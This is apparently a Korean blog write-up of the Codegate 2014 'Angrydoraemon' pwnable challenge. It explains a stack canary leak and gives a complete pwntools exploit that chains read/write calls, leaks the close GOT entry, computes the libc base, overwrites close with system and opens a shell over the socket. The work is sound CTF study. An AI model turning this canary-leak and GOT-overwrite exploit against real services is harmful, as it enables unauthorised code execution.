write-up/pwnable

Codegate 2014 Angrydoraemon

범고래_1 2018. 8. 9. 17:57


까나리랑 NX가 걸려있다. 

아래는 메뉴이다.



취약점은 4번 메뉴에서 터진다



y를 입력하면 sprintf와 write로 buf를 출력해주지만...

여기서 까나리 릭이 가능하다.

buf는 0xa (10)바이트 이므로, buf에 "y" + "A"*9를 sendline으로 보내주면 까나리 마지막 바이트가 0x0a로 덮히고, 릭이 되고, smashing the stack이 발생한다.


그리고 다시 접속해서

"y" + "A"*9 + canary + "B"*0xc  + EIP를 주면 EIP가 덮힌다.

이 문제도 소켓이므로....

리버스 쉘을 따야한다.

buf_global이 bss이고 크기가 넉넉하므로 여기를 이용하기로 한다.


1. read로 "sh >&4 0<&4\x00" 받기

2. write로 close함수 got 릭

3. close함수 오프셋으로 libc base를 구한다.

4. system함수 주소 구하고, read함수를 이용하여 close함수 got를 덮는다.

5. 이제 close함수를 실행하면 system함수가 호출된다.


from pwn import *
from time import *

e = ELF('./Angrydoraemon', checksec=False)
libc = e.libc

pop3ret = 0x8048b2c
pop2ret = 0x8048b2d
pop4ret = 0x80495bc

p = remote('0', 8888)

p.sendline('4')

payload = "y"
payload += "A" * 9
print 'payload :', payload

print p.recvuntil('Are you sure? (y/n) ')
p.sendline(payload)

print p.recvuntil("You choose '"),
print p.recv(10)

leak = u32(p.recv(4)) - 0x0a
print 'leak :', hex(leak)
p.close()

p = remote('0', 8888)
p.sendline('4')

print p.recvuntil('Are you sure? (y/n) ')

fd = 4
buf = 0x0804B0A0
binsh = 'sh >&4 0<&4\x00'

payload = "y"
payload += "A"*9
payload += p32(leak)
payload += "A"*0xc

payload += p32(e.plt['read'])
payload += p32(pop3ret)
payload += p32(fd)
payload += p32(buf)
payload += p32(len(binsh))

# leak close got
payload += p32(e.plt['write'])
payload += p32(pop3ret)
payload += p32(fd)
payload += p32(e.got['close'])
payload += p32(4)

# got overwrite (close function)
payload += p32(e.plt['read'])
payload += p32(pop3ret)
payload += p32(fd)
payload += p32(e.got['close'])
payload += p32(4)

# call system
payload += p32(e.plt['close'])
payload += "BBBB"
payload += p32(buf)

p.sendline(payload)
#p.recvuntil("\n\"MOUSE!!!!!!!!! (HP - 25)\"\n")
p.send(binsh)

leak_close = u32(p.recv(4))
libc.address = leak_close - libc.symbols['close']
p.send(p32(libc.symbols['system'])) # got overwrite

p.interactive()


<삽질>

p.recvuntil('Are you sure? (y/n) ')

없이 그냥

payload = "y"

payload += "A"*9 하니까 y가 안 들어가고 A만 들어갔다...

yy를 줘도 마찬가지..

근데 저걸 recv해주니까 들어감.... 이해불가..ㄹㅇ..

(펀툴즈 안 쓰고 그냥 손으로 하면 잘 들어갔음...ㅋ)


'write-up > pwnable' 카테고리의 다른 글

PlaidCTF 2013 ropasaurusrex  (0) 2019.07.11
Codegate 2018 BaskinRobins31  (0) 2018.08.18
Codegate 2014 Nuclear  (0) 2018.08.14
Codegate 2017 babypwn  (0) 2018.08.09